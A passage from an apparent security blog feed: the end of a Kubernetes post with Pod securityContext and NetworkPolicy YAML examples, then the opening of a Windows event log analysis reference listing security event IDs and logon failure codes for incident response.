<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginxseccontext </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">securityContext</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">runAsNonRoot</span>: <span style="color:#66d9ef">true</span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">containers</span>: 
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span></code></pre></div><h3 id="network-policy">Network Policy</h3>
<ul>
<li>By default, all pods can reach each other (all ingress and egress traffic is allowed).</li>
<li>We had ingress object before, but the NetworkPolicy objects define rules for both ingress and egress.</li>
<li>In fact, NetworkPolicy configures CNI application (weavenet, canal, calico).</li>
<li>Note that not all plugins support NetworkPolicies(e.g: flannel)</li>
</ul>
<p>As mentioned in the introduction, Kubernetes network policies identify traffic sources and destinations by label selector only &ndash; there is no provision (as yet) to specify IP addresses or masks. Ingress is incoming traffic to the pod, and egress is outgoing traffic from the pod.</p>
<h4 id="create-ingress-policy">Create Ingress Policy:</h4>
<p>Policies can include one or more ingress rules. To specify which pods in the namespace the network policy applies to, use a pod selector. Within the ingress rule, use another pod selector to define which pods allow incoming traffic, and the ports field to define on which ports traffic is allowed.</p>
<p>Example: Allow ingress traffic from pods in the same namespace In the following example, incoming traffic to pods with label color=blue are allowed only if they come from a pod with color=red, on port 80.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">NetworkPolicy </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">networking.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">allow-same-namespace </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">podSelector</span>: <span style="color:#75715e">#if empty, NetworkPolicy is applied to all pods in defined namespace. </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">color</span>: <span style="color:#ae81ff">blue </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ingress</span>: 
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">from</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">color</span>: <span style="color:#ae81ff">red </span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">ports</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Example: Allow ingress traffic from pods in a different namespace. In the following example, incoming traffic is allowed only if they come from a pod with label color=red, in a namespace with label shape=square, on port 80.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">NetworkPolicy </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">networking.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">allow-same-namespace </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">color</span>: <span style="color:#ae81ff">blue </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ingress</span>: 
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">from</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">color</span>: <span style="color:#ae81ff">red </span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">namespaceSelector</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">shape</span>: <span style="color:#ae81ff">square </span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">ports</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span>
</span></span></code></pre></div>
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Namespace selectors can be used only in policy rules. The spec.podSelector applies to pods only in the samenamespace as the policy.</div>
    </aside>
<h4 id="create-egress-policy">Create egress policy:</h4>
<p>Example: Allow egress traffic from pods in the same namespace. The following policy allows pod outbound traffic to other pods in the same namespace that match the pod selector. In the following example, outbound traffic is allowed only if they go to a pod with label color=red, on port 80.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">NetworkPolicy </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">networking.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">allow-egress-same-namespace </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">color</span>: <span style="color:#ae81ff">blue</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">egress</span>: 
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">to</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">color</span>: <span style="color:#ae81ff">red </span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">ports</span>: 
</span></span><span style="display:flex;"><span>                - <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span> 
</span></span></code></pre></div><p>Example: Allow egress traffic to IP addresses or CIDR range. Egress policies can also be used to allow traffic to specific IP addresses and CIDR ranges. Typically, IP addresses/ranges are used to handle traffic that is external to the cluster for static resources or subnets. The following policy allows egress traffic to pods in CIDR, 172.18.0.0/24.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">NetworkPolicy </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">networking.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">allow-egress-external </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>: 
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">color</span>: <span style="color:#ae81ff">red </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">egress</span>: 
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">to</span>: 
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">ipBlock</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">cidr</span>: <span style="color:#ae81ff">172.18.0.0</span><span style="color:#ae81ff">/24</span>
</span></span></code></pre></div><p>Example: Create deny-all default ingress and egress network policy</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">NetworkPolicy </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">networking.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">default-deny </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">podSelector</span>: 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>: {} 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">policyTypes</span>: 
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">Ingress </span>
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">Egress</span>
</span></span></code></pre></div>]]></content></item><item><title>Windows Event Log Analysis</title><link>https://blzr.sbs/posts/windows-event-log-analysis/</link><pubDate>Sat, 15 Jun 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/windows-event-log-analysis/</guid><description>Windows logging: Maximize efficiency, minimize impact, and enhance incident response.</description><content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Microsoft has gradually increased the efficiency and effectiveness of its auditing facilities over the years.</p>
<p>Modern Windows systems can log vast amounts of information with minimal system impact. With the corresponding decrease in the price of storage media, excuses to not enable and retain these critical pieces of evidence simply don’t stand up to scrutiny. Configuring adequate logging on Windows systems, and ideally aggregating those logs into a SIEM or other log aggregator, is a critical step toward ensuring that your environment is able to support an effective incident response.</p>
<p>This provides an overview of some of the most important Windows logs and the events that are recorded there. This is intended to provide more detail than a cheat sheet while still being short enough to serve as a quick reference.</p>
<h2 id="event-log-format">Event Log Format</h2>
<p>Modern Windows systems store logs in the <code>%SystemRoot%\System32\winevt\logs</code> directory by default in the binary XML Windows Event Logging format, designated by the .evtx extension. Logs can also be stored remotely using log subscriptions. For remote logging, a remote system running the Windows Event Collector service subscribes to subscriptions of logs produced by other systems. <em>The types of logs to be collected can be specified at a granular level and transport occurs over HTTPS on port 5986 using WinRM</em>.
GPO’s can be used to configure the remote logging facilities on each computer.</p>
<p>Events can be logged in the Security, System and Application event logs or, on modern Windows systems, they may also appear in several other log files. The Setup event log records activities that occurred during installation of Windows. The Forwarded Logs event log is the default location to record events received from other systems. But there are also many additional logs, listed under Applications and Services Logs in Event Viewer, that record details related to specific types of activities. Since these log files are much more targeted than the Security log, they often retain information about events that occurred well before the current Security log has been overwritten. Always look for multiple sources of log information, and don’t forget to look for older log files that may be captured by backup systems or volume shadow copies.</p>
<p>Event IDs have several fields in common:</p>
<ul>
<li>Log Name: The name of the Event Log where the event is stored. Useful when processing numerous logs pulled from the same system.</li>
<li>Source: The service, Microsoft component or application that generated the event.</li>
<li>Event ID: A code assigned to each type of audited activity.</li>
<li>Level: The severity assigned to the event in question.</li>
<li>User: The user account involved in triggering the activity or the user context that the source was running as when it logged the event. Note that this field often indicates “System” or a user that is not the cause of the event being recorded.</li>
<li>OpCode: Assigned by the source generating the log. It’s meaning is left to the source.</li>
<li>Logged: The local system date and time when the event was logged.</li>
<li>Task Category: Assigned by the source generating the log. It’s meaning is left to the source.</li>
<li>Keywords: Assigned by the source and used to group or sort events.</li>
<li>Computer: The computer on which the event was logged. This is useful when examining logs collected from multiple systems, but should not be considered to be the device that caused an event (such as when a remote logon is initiated, the Computer field will still show the name of the system logging the event, not the source of the connection).</li>
<li>Description: A text block where additional information specific to the event being logged is recorded. This is often the most significant field for the analyst.</li>
</ul>
<h2 id="account-management-events">Account Management Events</h2>
<p>The following events will be recorded on the system where the account was created or modified, which will be the local system for a local account or a domain controller for a domain account.</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>4720</td>
          <td>A user account was created.</td>
      </tr>
      <tr>
          <td>4722</td>
          <td>A user account was enabled.</td>
      </tr>
      <tr>
          <td>4723</td>
          <td>A user attempted to change an account’s password.</td>
      </tr>
      <tr>
          <td>4724</td>
          <td>An attempt was made to reset an account’s password.</td>
      </tr>
      <tr>
          <td>4725</td>
          <td>A user account was disabled.</td>
      </tr>
      <tr>
          <td>4726</td>
          <td>A user account was deleted.</td>
      </tr>
      <tr>
          <td>4727</td>
          <td>A security-enabled global group was created.</td>
      </tr>
      <tr>
          <td>4728</td>
          <td>A member was added to a security-enabled global group.</td>
      </tr>
      <tr>
          <td>4729</td>
          <td>A member was removed from a security-enabled global group.</td>
      </tr>
      <tr>
          <td>4730</td>
          <td>A security-enabled global group was deleted.</td>
      </tr>
      <tr>
          <td>4731</td>
          <td>A security-enabled local group was created.</td>
      </tr>
      <tr>
          <td>4732</td>
          <td>A member was added to a security-enabled local group.</td>
      </tr>
      <tr>
          <td>4733</td>
          <td>A member was removed from a security-enabled local group.</td>
      </tr>
      <tr>
          <td>4734</td>
          <td>A security-enabled local group was deleted.</td>
      </tr>
      <tr>
          <td>4735</td>
          <td>A security-enabled local group was changed.</td>
      </tr>
      <tr>
          <td>4737</td>
          <td>A security-enabled global group was changed.</td>
      </tr>
      <tr>
          <td>4738</td>
          <td>A user account was changed.</td>
      </tr>
      <tr>
          <td>4741</td>
          <td>A computer account was created.</td>
      </tr>
      <tr>
          <td>4742</td>
          <td>A computer account was changed.</td>
      </tr>
      <tr>
          <td>4743</td>
          <td>A computer account was deleted.</td>
      </tr>
      <tr>
          <td>4754</td>
          <td>A security-enabled universal group was created.</td>
      </tr>
      <tr>
          <td>4755</td>
          <td>A security-enabled universal group was changed.</td>
      </tr>
      <tr>
          <td>4756</td>
          <td>A member was added to a security-enabled universal group.</td>
      </tr>
      <tr>
          <td>4757</td>
          <td>A member was removed from a security-enabled universal group.</td>
      </tr>
      <tr>
          <td>4758</td>
          <td>A security-enabled universal group was deleted.</td>
      </tr>
      <tr>
          <td>4798</td>
          <td>A user’s local group membership was enumerated. Large numbers of these events may be indicative of adversary account enumeration.</td>
      </tr>
      <tr>
          <td>4799</td>
          <td>A security-enabled local group membership was enumerated. Large numbers of these events may be indicative of adversary group enumeration.</td>
      </tr>
  </tbody>
</table>
<h2 id="account-logon-and-logon-events">Account Logon and Logon Events</h2>
<p>Account Logon is the Microsoft term for authentication. Logon is the term used to refer to an account gaining access to a resource. Both Account Logon and Logon events will be recorded in the Security event log. Authentication (account logon) of domain accounts is performed by a domain controller within a Windows network. Local accounts (those that exist within a local SAM file rather than as a part of Active Directory) are authenticated by the local system where they exist. Account logon events will be logged by the system that performs the authentication. Auditing of Account Logon and Logon events is easily set by Group Policy. While Microsoft continues to enable more logging by default as new versions of Windows are released, administrators should review their audit policies on a regular basis to ensure that all systems are generating adequate logs. The ability to store event logs on remote systems (either using the native Microsoft remote logging features or third-party SIEM or other tools) helps safeguard logs from alteration or destruction.</p>
<p>The domain controllers in your network should therefore be able to provide a fairly centralized accounting of which accounts where authenticated throughout the domain. Remember that to get a full picture, you will need to query each of your DCs since the one that performs the authentication creates the associated event log. On the other hand, if you find that member servers or workstations are performing their own authentication, that is a good indicator that local user accounts are being used. As this is not normally done in most environments, account logon events on non-domain controllers can often be an indicator of compromise. By contrast, logon event logs are generated by the system that is being accessed, so logon events will be generated by systems across the network, providing another reason to aggregate logs to a central location.</p>
<p>Event IDs of particular interest on domain controllers, which authenticate domain users, include:</p>
<ul>
<li>4768 : The successful issuance of a TGT shows that a user account was authenticated by the domain controller. The Network Information section of the event description contains additional information about the remote host in the event of a remote logon attempt. The Keywords field indicates whether the authentication attempt was successful or failed. In the event of a failed authentication attempt, the result code in the event description provides additional information about the reason for the failure, as specified in RFC 4120. Some of the more commonly encountered codes are:</li>
</ul>
<p>Common Event ID 4768 result codes:<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<table>
  <thead>
      <tr>
          <th>Decimal  </th>
          <th>Hex    </th>
          <th>Meaning</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>6</td>
          <td>0x6</td>
          <td>Username not valid.</td>
      </tr>
      <tr>
          <td>12</td>
          <td>0xC</td>
          <td>Policy restriction prohibiting this logon (such as a workstation restriction or time-of-day restriction).</td>
      </tr>
      <tr>
          <td>18</td>
          <td>0x12</td>
          <td>The account is locked out, disabled, or expired.</td>
      </tr>
      <tr>
          <td>23</td>
          <td>0x17</td>
          <td>The account’s password is expired.</td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x18</td>
          <td>The password is incorrect.</td>
      </tr>
      <tr>
          <td>32</td>
          <td>0x20</td>
          <td>The ticket has expired (common on computer accounts).</td>
      </tr>
      <tr>
          <td>37</td>
          <td>0x25</td>
          <td>The clock skew is too great.</td>
      </tr>
  </tbody>
</table>
<ul>
<li>4769 : A service ticket was requested by a user account for a specified resource. This event description shows the source IP of the system that made the request, the user account used, and the service to be accessed. These events provide a useful source of evidence as they track authenticated user access across the network. The Keywords field indicates whether the request for the service ticket was successful or failed. In the case of a failure, the result code indicates the reason for the failure. The ticket encryption type is also recorded, which might be useful for detecting attacks against Kerberos.</li>
<li>4770 : A service ticket was renewed. The account name, service name, client IP address, and encryption type are recorded.</li>
<li>4771 : Depending on the reason for a failed Kerberos logon, either Event ID 4768 or Event ID 4771 is created. In either case, the result code in the event description provides additional information about the reason for the failure.</li>
<li>4776 : This event ID is recorded for NTLM authentication attempts. The Network Information section of the event description contains additional information about the remote host in the event of a remote logon attempt. The Keywords field indicates whether the authentication attempt succeeded or failed. In the event of authentication failure, the error code in the event description provides additional details about the failure.</li>
</ul>
<p>A series of failed 4776 events with Error Code C000006A (the password is invalid) followed by an Error Code C0000234 (the account is locked out) may be indicative of a failed password guessing attack (or a user who has simply forgotten the account password). Similarly, a series of failed 4776 events followed by a successful 4776 event may show a successful password guessing attack. The presence of Event ID 4776 on a member server or client is indicative of a user attempting to authenticate to a local account on that system and may in and of itself be cause for further investigation.</p>
<p>Common Event ID 4776 error code descriptions:<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<table>
  <thead>
      <tr>
          <th>Error Code         </th>
          <th>Meaning</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0xC0000064</td>
          <td>The username is incorrect.</td>
      </tr>
      <tr>
          <td>0xC000006A</td>
          <td>The password is incorrect.</td>
      </tr>
      <tr>
          <td>0xC000006D</td>
          <td>Generic logon failure. Possibly bad username or password or mismatch in the LAN Manager Authentication Level between the source and target computers.</td>
      </tr>
      <tr>
          <td>0xC000006F</td>
          <td>Account logon outside authorized hours.</td>
      </tr>
      <tr>
          <td>0xC0000070</td>
          <td>Account logon from unauthorized workstation.</td>
      </tr>
      <tr>
          <td>0xC0000071</td>
          <td>Account logon with expired password.</td>
      </tr>
      <tr>
          <td>0xC0000072</td>
          <td>Account logon to account disabled by administrator.</td>
      </tr>
      <tr>
          <td>0xC0000193</td>
          <td>Account logon with expired account.</td>
      </tr>
      <tr>
          <td>0xC0000224</td>
          <td>Account logon with Change Password At Next Logon flagged.</td>
      </tr>
      <tr>
          <td>0xC0000234</td>
          <td>Account logon with account locked.</td>
      </tr>
      <tr>
          <td>0xc0000371</td>
          <td>The local account store does not contain secret material for the specified account.</td>
      </tr>
  </tbody>
</table>
<ul>
<li>4624 : A logon to a system has occurred. Type 2 indicates an interactive (usually local) logon, whereas a Type 3 indicates a remote or network logon. The event description will contain information about the host and account name involved. For remote logons, focus on the Network Information section of the event description for remote host information. Correlation with the associated 4768, 4769, or 4776 events may yield additional details about a remote host. Discrepancies in the record entry between the recorded hostname and its assigned IP address may be indicative of Server Message Block (SMB) relay attacks, where an attacker relays a request from one system using an IP address not associated with that system.</li>
</ul>
<p>The Caller Process Name and Caller Process ID fields in the Process Information section of the event description can provide additional details about the process initiating the logon.</p>
<p>Successful Remote Desktop Protocol (RDP) connections usually log as Logon Type 10 in Event ID 4624. This records a successful remote interactive logon and may result in the user’s credentials being cached in RAM and possibly on disk. Use of Restricted Admin mode may impact this. Failed RDP logons usually result in Logon Type 3.</p>
<p>Logon event type code descriptions:<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<table>
  <thead>
      <tr>
          <th>Logon Type</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2    </td>
          <td>Interactive, such as logon at keyboard and screen of the system, or remotely using third-party remote access tools like VNC, or psexec with the -u switch. Logons of this type will cache the user’s credentials in RAM for the duration of the session and may cache the user’s credentials on disk.</td>
      </tr>
      <tr>
          <td>3    </td>
          <td>Network, such as access to a shared folder on this computer from elsewhere on the network. This represents a noninteractive logon, which does not cache the user’s credentials in RAM or on disk.</td>
      </tr>
      <tr>
          <td>4    </td>
          <td>Batch (indicating a scheduled task). Batch logon type is used by batch servers, where processes may be executing on behalf of a user without their direct intervention.</td>
      </tr>
      <tr>
          <td>5    </td>
          <td>Service indicates that a service was started by the Service Control Manager.</td>
      </tr>
      <tr>
          <td>7    </td>
          <td>Unlock indicates that an unattended workstation with a password protected screen is unlocked</td>
      </tr>
      <tr>
          <td>8    </td>
          <td>NetworkCleartext indicates that a user logged on to this computer from the network and the user’s password was passed to the authentication package in its unhashed form. The built-in authentication packages all hash credentials before sending them across the network. The credentials do not traverse the network in plaintext (also called cleartext). Most often indicates a logon to Internet Information Services (IIS) with basic authentication.</td>
      </tr>
      <tr>
          <td>9    </td>
          <td>NewCredentials indicates that a user logged on with alternate credentials to perform actions such as with RunAs or mapping a network drive. If you want to track users attempting to log on with alternate credentials, also look for Event ID 4648.</td>
      </tr>
      <tr>
          <td>10    </td>
          <td>RemoteInteractive indicates that Terminal Services, Remote Desktop, or Remote Assistance for an interactive logon. See the note on RDP at the end of this section for more details.</td>
      </tr>
      <tr>
          <td>11    </td>
          <td>CachedInteractive (logon with cached domain credentials such as when logging on to a laptop when away from the network). The domain controller was not contacted to verify the credential, so no account logon entry is generated.</td>
      </tr>
  </tbody>
</table>
<ul>
<li>4625 : A failed logon attempt. Large numbers of these throughout a network may be indicative of password guessing or password spraying attacks. Again, the Network Information section of the event description can provide valuable information about a remote host attempting to log on to the system. Note that failed logons over RDP may log as Type 3 rather than Type 10, depending on the systems involved. You can determine more about the reason for the failure by consulting the Failure Information section of the event description.</li>
</ul>
<p>The status code found in Event ID 4625 provides additional details about the event:<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>Common logon failure status codes</p>
<table>
  <thead>
      <tr>
          <th>Status code</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0XC000005E  </td>
          <td>Currently no logon servers are available to service the logon request.</td>
      </tr>
      <tr>
          <td>0xC0000064  </td>
          <td>User logon with misspelled or bad user account.</td>
      </tr>
      <tr>
          <td>0xC000006A  </td>
          <td>User logon with misspelled or bad password.</td>
      </tr>
      <tr>
          <td>0XC000006D  </td>
          <td>This is either due to a bad username or incorrect authentication information.</td>
      </tr>
      <tr>
          <td>0XC000006E  </td>
          <td>Unknown username or bad password.</td>
      </tr>
      <tr>
          <td>0xC000006F  </td>
          <td>User logon outside authorized hours.</td>
      </tr>
      <tr>
          <td>0xC0000070  </td>
          <td>User logon from unauthorized workstation.</td>
      </tr>
      <tr>
          <td>0xC0000071  </td>
          <td>User logon with expired password.</td>
      </tr>
      <tr>
          <td>0xC0000072  </td>
          <td>User logon to account disabled by administrator.</td>
      </tr>
      <tr>
          <td>0XC00000DC  </td>
          <td>Indicates the Server was in the wrong state to perform the desired operation.</td>
      </tr>
      <tr>
          <td>0XC0000133  </td>
          <td>Clocks between domain controller and other computer too far out of sync.</td>
      </tr>
      <tr>
          <td>0XC000015B  </td>
          <td>The user has not been granted the requested logon type (also known as logon right) at this machine.</td>
      </tr>
      <tr>
          <td>0XC000018C  </td>
          <td>The logon request failed because the trust relationship between the primary domain and the trusted domain failed.</td>
      </tr>
      <tr>
          <td>0XC0000192  </td>
          <td>An attempt was made to log on, but the Netlogon service was not started.</td>
      </tr>
      <tr>
          <td>0xC0000193  </td>
          <td>User logon with expired account.</td>
      </tr>
      <tr>
          <td>0XC0000224  </td>
          <td>User is required to change password at next logon.</td>
      </tr>
      <tr>
          <td>0XC0000225  </td>
          <td>Evidently a bug in Windows and not a risk.</td>
      </tr>
      <tr>
          <td>0xC0000234  </td>
          <td>User logon with account locked.</td>
      </tr>
      <tr>
          <td>0XC00002EE  </td>
          <td>Failure Reason: An error occurred during logon.</td>
      </tr>
      <tr>
          <td>0XC0000413  </td>
          <td>Logon Failure: The machine you are logging on to is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine.</td>
      </tr>
  </tbody>
</table>
<ul>
<li>4634/4647 : User logoff is recorded by Event ID 4634 or Event ID 4647. The lack of an event showing a logoff should not be considered overly suspicious, as Windows is inconsistent in logging Event ID 4634 in many cases. The Logon ID field can be used to tie the Event ID 4624 logon event with the associated logoff event (the Logon ID is unique between reboots on the same computer). Type 3 (Network) logons will typically disconnect shortly after a request is complete and do not indicate the actual amount of time that a user was engaged in any particular activity. Interactive logons (primarily type 2, but also types 10 and 11 where they exist) can provide a better sense of session duration, but Windows is not overly consistent in logging Event ID 4634 and may disconnect sessions due to inactivity well after a user stopped actively interacting with a session.</li>
<li>4648 : A logon was attempted using explicit credentials. When a user attempts to use credentials other than the ones used for the current logon session (including bypassing User Account Control [UAC] to open a process with administrator permissions), this event is logged.</li>
<li>4672 : This event ID is recorded when certain privileges associated with elevated or administrator access are granted to a logon. As with all logon events, the event log will be generated by the system being accessed.</li>
<li>4778 : This event is logged when a session is reconnected to a Windows station. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. The initial connection over RDP is logged with Event ID 4624 as mentioned earlier. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description.</li>
<li>4779 : This event is logged when a session is disconnected. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. A full logoff from an RDP session is logged with Event ID 4637 or 4647 as mentioned earlier. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description.</li>
</ul>
<p>Additional information about RDP Sessions can be found in the <code>%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational</code> log file. Event ID 21 in this log shows session logon events, both local and remote, including the IP from which the connection was made if remote. Event ID 24 in this log shows session disconnection, including the IP from which the connection was made if remote. For local logons, the Source Network Address field of the event description will read LOCAL rather than provide the remote IP.</p>
<p>Information about RDP Sessions can also be found in the <code>SystemRoot%\System32\winevt\Logs\MicrosoftWindows-TerminalServices-RemoteConnectionManager%4Operational</code> log file. Event ID 1149 in this log will show the user account and source IP used to initiate an RDP session.</p>
<h2 id="access-to-shared-objects">Access to Shared Objects</h2>
<p>Attackers frequently leverage valid credentials to remotely access data through user created or administrative shares. Doing so will generate Account Logon and Logon events as mentioned above, but additional logging can also be enabled in the Group Policy Management Console by navigating to Computer Configuration -&gt; Policies -&gt; Windows Settings -&gt; Security Settings -&gt; Advanced Audit Policy Configuration -&gt; Audit Policies -&gt; Object Access -&gt; Audit File Share. Once enabled, the following Event IDs will be logged in the Security Log:</p>
